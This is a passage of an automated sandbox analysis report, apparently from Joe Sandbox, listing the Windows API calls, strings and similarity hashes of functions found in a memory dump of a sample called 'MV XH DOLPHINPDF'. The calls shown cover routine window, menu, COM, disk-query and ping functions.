MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 000DC827
GetDlgItem.USER32(?,000003E9), ref: 000DC835
GetWindowRect.USER32(00000000,?), ref: 000DC846
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 000DC889
GetDlgItem.USER32(?,000003EA), ref: 000DC897
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 000DC8B4
InvalidateRect.USER32(?,00000000,00000001), ref: 000DC8C1

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: ba69c8226d2dd162d4ebb2c03c82e6bd326e52ad2f477dfaa48de363884fd19e
Instruction ID: 9e205746e6605b47be0c2da473ebc0dc1cf11370dbf4b2493fde1c7b95861bf4
Opcode Fuzzy Hash: ba69c8226d2dd162d4ebb2c03c82e6bd326e52ad2f477dfaa48de363884fd19e
Instruction Fuzzy Hash: 9D513F71B00205ABDB18CF69DD8AEAEBBBAFB88310F14812DF515D7690DBB09D41CB50

Function 0008201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00081B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00082036,?,00000000,?,?,?,?,000816CB,00000000,?), ref: 00081B9A

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 000820D3
KillTimer.USER32(-00000001,?,?,?,?,000816CB,00000000,?,?,00081AE2,?,?), ref: 0008216E
DestroyAcceleratorTable.USER32(00000000), ref: 000BBEF6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,000816CB,00000000,?,?,00081AE2,?,?), ref: 000BBF27
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,000816CB,00000000,?,?,00081AE2,?,?), ref: 000BBF3E
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,000816CB,00000000,?,?,00081AE2,?,?), ref: 000BBF5A
DeleteObject.GDI32(00000000), ref: 000BBF6C

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: e4b08c7fcf8d572413fd8c5b5ab15cb9697e596a021c1bc75c517a0de2f2492c
Instruction ID: c18c1752a526ead4049821c9347b5d5405b5cd4d3b972e9a861dd021463559f8
Opcode Fuzzy Hash: e4b08c7fcf8d572413fd8c5b5ab15cb9697e596a021c1bc75c517a0de2f2492c
Instruction Fuzzy Hash: D4619A35100712DFDB35AF14DD49B69B7F1FB5231AF10852CE18256971C7B1A882DF52

Function 000821A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 000825DB: GetWindowLongW.USER32(?,000000EB), ref: 000825EC

GetSysColor.USER32(0000000F), ref: 000821D3

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 7aeb60c2be6b52f1b140cac3b251d58780bf64dc7fd90f7c725374f5fc53a168
Instruction ID: 889c1cac59c987cccc07c591eb1d10d734fda9ebfecfc2ec609460635d8db935
Opcode Fuzzy Hash: 7aeb60c2be6b52f1b140cac3b251d58780bf64dc7fd90f7c725374f5fc53a168
Instruction Fuzzy Hash: 29418031100140EFDB656F28DC89BB93BA5FB46331F144265FDE59A5E2C7718C82DB61

Function 000EAB12 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,0010F910), ref: 000EAB76
GetDriveTypeW.KERNEL32(00000061,0013A620,00000061), ref: 000EAC40
_wcscpy.LIBCMT ref: 000EAC6A

Strings

ramdisk, xrefs: 000EABEA
network, xrefs: 000EABD4
unknown, xrefs: 000EAC01
cdrom, xrefs: 000EAB92
removable, xrefs: 000EABA8
fixed, xrefs: 000EABBE
all, xrefs: 000EAB7C

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: e4c2d50b091dc4ec81d69d36ee0306a11959ca60eea3fdf6ea0ea4f8b3c44a8b
Instruction ID: 750747fa8b38c6502f9db185bb87057817a660a71e24f6dbbb4386f9d12fa3ac
Opcode Fuzzy Hash: e4c2d50b091dc4ec81d69d36ee0306a11959ca60eea3fdf6ea0ea4f8b3c44a8b
Instruction Fuzzy Hash: 98517C312083459FC724EF55C881AAEB7A5FF8A304F544829F4D6672A3DB31E949CB53

Function 00089997 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 000899C2
__swprintf.LIBCMT ref: 00089A0C
__i64tow.LIBCMT ref: 000BFA0F

Strings

%.15g, xrefs: 00089A06
False, xrefs: 000BF9D7
True, xrefs: 000BF9D0
0x%p, xrefs: 000BF9F1

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: 8fd7c3c068b265208ee12cc789a19e3a4e1bdf251384adda8035e140fb7d34a3
Instruction ID: 79121b5edec6f543df9b0f15c4341e8cbd5c6abc8c6ae13c2a440c5be80537f8
Opcode Fuzzy Hash: 8fd7c3c068b265208ee12cc789a19e3a4e1bdf251384adda8035e140fb7d34a3
Instruction Fuzzy Hash: D941BF71604206AEDB24FB78DC42EBAB7E8FB45310F24447EE589D7292EA7199418B11

Function 001073C1 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001073D9
CreateMenu.USER32 ref: 001073F4
SetMenu.USER32(?,00000000), ref: 00107403
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00107490
IsMenu.USER32(?), ref: 001074A6
CreatePopupMenu.USER32 ref: 001074B0
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 001074DD
DrawMenuBar.USER32 ref: 001074E5

Strings

F, xrefs: 001074D1
0, xrefs: 001073CF

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: 7abc94efdd9072af2f33a5ebaf6d6e44022f1ddbda4dcf48c8e982548aa99a55
Instruction ID: b767827c8c46fca6970fe17e374be7626ca272fcb7b520b6d3d5729f076ed90d
Opcode Fuzzy Hash: 7abc94efdd9072af2f33a5ebaf6d6e44022f1ddbda4dcf48c8e982548aa99a55
Instruction Fuzzy Hash: D9411879A01209EFDB20DF64D889E9ABBB5FF49310F144029F995D73A0D7B1A960CF50

Function 0010772A Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 001077CD
CreateCompatibleDC.GDI32(00000000), ref: 001077D4
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 001077E7
SelectObject.GDI32(00000000,00000000), ref: 001077EF
GetPixel.GDI32(00000000,00000000,00000000), ref: 001077FA
DeleteDC.GDI32(00000000), ref: 00107803
GetWindowLongW.USER32(?,000000EC), ref: 0010780D
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00107821
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 0010782D

Strings

static, xrefs: 00107765

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 16804e35703d9e8c8a4a6f9d3bc84df66d70380bb458e523afa191afba0b63ed
Instruction ID: 3254d4110746cd04a958d4bb360a6242131dbb59440390bfd0394dc408f5d076
Opcode Fuzzy Hash: 16804e35703d9e8c8a4a6f9d3bc84df66d70380bb458e523afa191afba0b63ed
Instruction Fuzzy Hash: A331B031104214BBDF219F64DC09FDA3B69FF09360F104229FA95A24E0C7B1E862DBA0

Function 000A7040 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000A707B

Part of subcall function 000A8D68: __getptd_noexit.LIBCMT ref: 000A8D68

__gmtime64_s.LIBCMT ref: 000A7114
__gmtime64_s.LIBCMT ref: 000A714A
__gmtime64_s.LIBCMT ref: 000A7167
__allrem.LIBCMT ref: 000A71BD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 000A71D9
__allrem.LIBCMT ref: 000A71F0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 000A720E
__allrem.LIBCMT ref: 000A7225
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 000A7243
__invoke_watson.LIBCMT ref: 000A72B4

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 85949ae18b549cd2d12431497598bef6b028e5a4746e3945652a320069ef6a5a
Instruction ID: c5d50c31622a2c62572a3a21b0d63d0ef91c2e5aa3a999299b6ea478826dff22
Opcode Fuzzy Hash: 85949ae18b549cd2d12431497598bef6b028e5a4746e3945652a320069ef6a5a
Instruction Fuzzy Hash: FE71CA71A04717ABD7149EB9CC41BDAB7E8EF16364F14C23AF518E7682E770DA408790

Function 000E2A16 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000E2A31
GetMenuItemInfoW.USER32(00146890,000000FF,00000000,00000030), ref: 000E2A92
SetMenuItemInfoW.USER32(00146890,00000004,00000000,00000030), ref: 000E2AC8
Sleep.KERNEL32(000001F4), ref: 000E2ADA
GetMenuItemCount.USER32(?), ref: 000E2B1E
GetMenuItemID.USER32(?,00000000), ref: 000E2B3A
GetMenuItemID.USER32(?,-00000001), ref: 000E2B64
GetMenuItemID.USER32(?,?), ref: 000E2BA9
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 000E2BEF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 000E2C03
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 000E2C24

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: bd915dcf8d54376cc7ef5b88edcffe46da8a6494ad375a8cd7cb1efa3510dc18
Instruction ID: d3c30f197ac5a83abfd2da2044f3c7828cef72b4d7685567d5e63cde0583f154
Opcode Fuzzy Hash: bd915dcf8d54376cc7ef5b88edcffe46da8a6494ad375a8cd7cb1efa3510dc18
Instruction Fuzzy Hash: 2861AFB0900289AFDB21DF65CC88EAEBBBCEB41304F144569F841B7251D771AD86DB21

Function 00107192 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00107214
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00107217
GetWindowLongW.USER32(?,000000F0), ref: 0010723B
_memset.LIBCMT ref: 0010724C
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0010725E
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 001072D6

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 90862c3f9a7eabdbf09477fd795ac7f02c53530e926c43847c829cc5797d87b6
Instruction ID: 35fc16647d46ecb1ad7a86de3fdf00c2b741c803cb706000ec8973e67ab3dd91
Opcode Fuzzy Hash: 90862c3f9a7eabdbf09477fd795ac7f02c53530e926c43847c829cc5797d87b6
Instruction Fuzzy Hash: 6D615975A00208AFDB20DFA4CC81EEE77B8BB0A714F144159FA54AB2E1D7B0A945DB60

Function 000D710E Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 000D7135
SafeArrayAllocData.OLEAUT32(?), ref: 000D718E
VariantInit.OLEAUT32(?), ref: 000D71A0
SafeArrayAccessData.OLEAUT32(?,?), ref: 000D71C0
VariantCopy.OLEAUT32(?,?), ref: 000D7213
SafeArrayUnaccessData.OLEAUT32(?), ref: 000D7227
VariantClear.OLEAUT32(?), ref: 000D723C
SafeArrayDestroyData.OLEAUT32(?), ref: 000D7249
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 000D7252
VariantClear.OLEAUT32(?), ref: 000D7264
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 000D726F

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 6127d8964a8174badee7f923be4ed58fe7f2bad0a2ad31100ebd6fa122ac9be6
Instruction ID: 02c023b1478b2d6fd8bff5005a31baa7eee4be04f67779ea08bd049e98280dec
Opcode Fuzzy Hash: 6127d8964a8174badee7f923be4ed58fe7f2bad0a2ad31100ebd6fa122ac9be6
Instruction Fuzzy Hash: B54153359002199FCF14EF64D8859EEBBB8FF08354F00806AF955E7761DB70A946CBA0

Function 000F86D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00089997: __itow.LIBCMT ref: 000899C2
Part of subcall function 00089997: __swprintf.LIBCMT ref: 00089A0C

CoInitialize.OLE32 ref: 000F8718
CoUninitialize.OLE32 ref: 000F8723
CoCreateInstance.OLE32(?,00000000,00000017,00112BEC,?), ref: 000F8783
IIDFromString.OLE32(?,?), ref: 000F87F6
VariantInit.OLEAUT32(?), ref: 000F8890
VariantClear.OLEAUT32(?), ref: 000F88F1

Strings

NULL Pointer assignment, xrefs: 000F87C8
Invalid parameter, xrefs: 000F880F
Failed to create object, xrefs: 000F878E, 000F8844

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 2074e2140dd11e6adb655bccf5dec21fbef82abd6e434a5ebb034768fe54bfd8
Instruction ID: 2c07e71af919106ccd31c09adcb73ce264adf4559383c0d13eac0ea1842e42f4
Opcode Fuzzy Hash: 2074e2140dd11e6adb655bccf5dec21fbef82abd6e434a5ebb034768fe54bfd8
Instruction Fuzzy Hash: D361BE306083059FC710EF24C849BAEBBE4AF48754F14881DFA859BA91CF70ED45DB92

Function 000F5A45 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 000F5AA6
inet_addr.WSOCK32(?,?,?), ref: 000F5AEB
gethostbyname.WSOCK32(?), ref: 000F5AF7
IcmpCreateFile.IPHLPAPI ref: 000F5B05
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 000F5B75
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 000F5B8B
IcmpCloseHandle.IPHLPAPI(00000000), ref: 000F5C00
WSACleanup.WSOCK32 ref: 000F5C06

Strings

Ping, xrefs: 000F5B29

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 75313ed6da4ac9dfdc3b72e7e27f5be357813ce1fd7d1c9d028c92f2aad7eae7
Instruction ID: ade530ba80c5730324ba067843bab9e127d5b76f77bda36b6ce9ab842314fc69
Opcode Fuzzy Hash: 75313ed6da4ac9dfdc3b72e7e27f5be357813ce1fd7d1c9d028c92f2aad7eae7
Instruction Fuzzy Hash: A85191316047049FD720EF24CC4AB7ABBE4EF48711F14892AF696DB6A1DB70E841DB52

Function 000EB72E Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 000EB73B
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 000EB7B1
GetLastError.KERNEL32 ref: 000EB7BB
SetErrorMode.KERNEL32(00000000,READY), ref: 000EB828

Strings

READONLY, xrefs: 000EB7F3
UNKNOWN, xrefs: 000EB7E0
READY, xrefs: 000EB801
NOTREADY, xrefs: 000EB7E7
INVALID, xrefs: 000EB7FA

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 82c5de31b874969c8ba6ebf455a3b4affa5e80b7d5647785f302c4aff2c87d26
Instruction ID: dd43649e8340ae8b5b70cafcbafa91b54ed99443718cd5c4b9279a76d5690748
Opcode Fuzzy Hash: 82c5de31b874969c8ba6ebf455a3b4affa5e80b7d5647785f302c4aff2c87d26
Instruction Fuzzy Hash: 6A31A135A002489FDB10EF69C885AFFBBF4FF48700F144069E581A7692DB71D946CB51

Function 000D9471 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00087F41: _memmove.LIBCMT ref: 00087F82

Part of subcall function 000DB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 000DB0E7

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 000D94F6
GetDlgCtrlID.USER32 ref: 000D9501
GetParent.USER32 ref: 000D951D
SendMessageW.USER32(00000000,?,00000111,?), ref: 000D9520
GetDlgCtrlID.USER32(?), ref: 000D9529
GetParent.USER32(?), ref: 000D9545
SendMessageW.USER32(00000000,?,?,00000111), ref: 000D9548

Strings

ComboBox, xrefs: 000D947E
ListBox, xrefs: 000D94B3

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 41f74f88b2e8a5f1c21680f7e9a77fbb381d82ad37fe2087ece1a2bfe8e9788b
Instruction ID: 7bc5754fc3686a36dbb3ff1b0826bf60f53e676da05a1a23fc470253493aa166
Opcode Fuzzy Hash: 41f74f88b2e8a5f1c21680f7e9a77fbb381d82ad37fe2087ece1a2bfe8e9788b
Instruction Fuzzy Hash: C221C474900204BBCF15AF64CC85DFEBBB4FF45310F10022AB5A1972A2DB75995ADB20

Function 000D955C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00087F41: _memmove.LIBCMT ref: 00087F82

